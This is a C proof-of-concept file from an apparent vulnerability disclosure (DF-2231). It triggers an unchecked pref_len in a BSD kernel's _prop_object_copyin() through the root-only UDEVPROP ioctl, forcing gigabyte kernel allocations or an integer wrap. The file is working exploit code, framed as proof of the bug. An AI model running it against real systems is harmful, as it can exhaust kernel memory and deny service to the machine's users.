DF-2231 / df_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 | /* * DF-2231 — _prop_object_copyin() unbounded pref_len demonstrator * * Bug (sys/libprop/prop_kern.c, _prop_object_copyin): * line 383: unsigned int prop_object_copyin_limit = 65536; // declared ... * line 398: buf = kmalloc(pref->pref_len + 1, M_TEMP, M_WAITOK); // ... never * line 399: error = copyin(pref->pref_plist, buf, pref->pref_len); // ... checked * * pref_len (size_t, fully attacker-controlled) flows unchecked into kmalloc + * copyin. Manifestations observed on the default GENERIC guest: * * * pref_len moderate-large (e.g. 1 GiB), user ptr only 64 bytes: * kmalloc succeeds (kmem_slab_alloc returns a 1 GiB buffer), * copyin copies until it faults off the end of the 64-byte user * mapping => returns EFAULT; buffer kfree'd. Net: the kernel was * forced to allocate a GIGABYTE per call with no bound check => a * privileged caller can drive kernel-memory exhaustion. * * * pref_len = SIZE_MAX (integer-overflow case): pref_len+1 == 0 => * kmalloc(0) returns the special ZERO_LENGTH_PTR (== (void*)-8 => * 0xFFFFFFFFFFFFFFF8); copyin into it faults => EFAULT. (No panic * because copyin swallows the fault before the unconditional * buf[pref_len]='\0' store at line 404.) * * Reachability on the default GENERIC guest: * The four kernel callers of prop_*_copyin[_ioctl]() are ALL privileged: * - kern_udev.c:892 UDEVPROP ioctl on /dev/udev (root:wheel 0600) * - vfs_quota.c:346 vquotactl(530) gated by vfs_quota_enabled * (default 0; sysctl is RD-only) * - device-mapper.c:267 dm NETBSD_DM_IOCTL on /dev/mapper/control * (module not loaded; 0640 root:operator) * - tbridge.c:258 TBRIDGE_LOADTEST (module not loaded; 0600 root:wheel) * => unprivileged trigger does NOT exist on the default kernel. This PoC * runs as ROOT via /dev/udev (the only caller compiled into the base * kernel) to PROVE the code claim, not to claim an unpriv->root chain. * * Usage: * cc -O0 -g -o df_poc df_poc.c * sudo ./df_poc <len_hex> [mapmb] # len_hex = pref_len in hex; mapmb = mmap a * # mapmb MiB buffer at pref_plist so copyin * # succeeds (forces the kernel to hold the alloc) * * Examples: * ./df_poc 0x40 # 64 bytes, valid-ish => EIO (bad XML), guest up * ./df_poc 0x40000000 # 1 GiB, 64-byte user ptr => EFAULT, guest up (proves 1GiB kmalloc) * ./df_poc 0xffffffffffffffff # SIZE_MAX => EFAULT (wrap), guest up * * Must be run as root (the only reachable caller). Exits 0 if the ioctl * returned; if the guest panics, ssh dies (no clean exit). */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/udev.h> #include <libprop/plistref.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <limits.h> #include <sys/mman.h> int main(int argc, char **argv) { struct plistref pref; size_t len; size_t mapmb = 0; int fd, r; char small[64]; if (argc < 2) { fprintf(stderr, "usage: %s <len_hex> [mapmb]\n", argv[0]); return 2; } len = strtoull(argv[1], NULL, 0); if (argc > 2) mapmb = (size_t)strtoull(argv[2], NULL, 0); memset(&pref, 0, sizeof(pref)); memset(small, 'A', sizeof(small) - 1); small[sizeof(small) - 1] = '\0'; if (mapmb > 0) { /* Map a large region so copyin can run to completion. */ size_t maplen = mapmb * 1024 * 1024; if (maplen < len) maplen = len; void *p = mmap(NULL, maplen, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0); if (p == MAP_FAILED) { fprintf(stderr, "[!] mmap %zu MiB failed: %s\n", mapmb, strerror(errno)); return 2; } memset(p, ' ', maplen); /* fill with spaces = benign XML ws */ ((char *)p)[0] = '<'; ((char *)p)[1] = 'a'; ((char *)p)[2] = '>'; ((char *)p)[maplen - 2] = '<'; ((char *)p)[maplen - 1] = 'X'; pref.pref_plist = p; fprintf(stderr, "[*] mapped %zu MiB at %p; pref_len=%#zx\n", mapmb, p, len); } else { pref.pref_plist = small; fprintf(stderr, "[*] small user ptr (%p, 64B); pref_len=%#zx\n", small, len); } pref.pref_len = len; fd = open("/dev/udev", O_RDWR); if (fd < 0) { fprintf(stderr, "[!] open /dev/udev: %s (must run as root; " "node is 0600 root:wheel)\n", strerror(errno)); return 2; } fprintf(stderr, "[*] issuing UDEVPROP ioctl...\n"); r = ioctl(fd, UDEVPROP, &pref); fprintf(stderr, "[+] ioctl returned %d, errno=%d (%s)\n", r, errno, strerror(errno)); close(fd); return (r == 0) ? 0 : 1; } |